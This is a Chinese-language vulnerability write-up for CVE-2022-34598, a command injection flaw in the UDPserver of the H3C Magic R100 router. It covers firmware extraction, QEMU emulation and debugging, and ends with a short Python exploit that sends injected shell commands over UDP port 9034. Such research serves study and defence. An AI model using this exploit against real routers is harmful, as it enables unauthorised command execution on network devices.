CVE-2022-34598 H3C命令执行漏洞

https://github.com/zhefox/IOT_Vul/blob/main/H3C/H3CR100/1/CVE-2022-34598.md

漏洞简介

H3C magic R100路由器的UDPserver中存在命令执行漏洞。

固件下载地址:https://download.h3c.com.cn/download.do?id=3342938

仿真模拟

binwalk导出固件文件系统,没有加固这些。

binwalk -Me R100V100R005.bin 

查看文件信息,mips,大端序,所以需要使用对应的qemu-mips来模拟。

无须patch,直接可启动。

qemu-mips -L . ./bin/UDPserver

调试

qemu-mips -g 1234 -L . ./bin/UDPserver

漏洞分析

漏洞点很明显,在接收到数据后,对数据的处理流程中,有system的调用,可以控制system的参数实现rce。

先是udp的socket建立。

然后对接收到的消息处理。

漏洞利用

使用python脚本建立udp的socket连接,然后发送构造好的参数,python的socket脚本可以参考https://blog.csdn.net/weixin_44100850/article/details/89512481

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14

import socket

Ip="0.0.0.0"
Port=9034

msg=b"cat & ls &"
server_address=(Ip,Port)

udp_socket=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_socket.sendto(msg,server_address)

udp_socket.close()

调试,ida的gdb远程调试。

结果如下

参考

https://github.com/zhefox/IOT_Vul/blob/main/H3C/H3CR100/1/CVE-2022-34598.md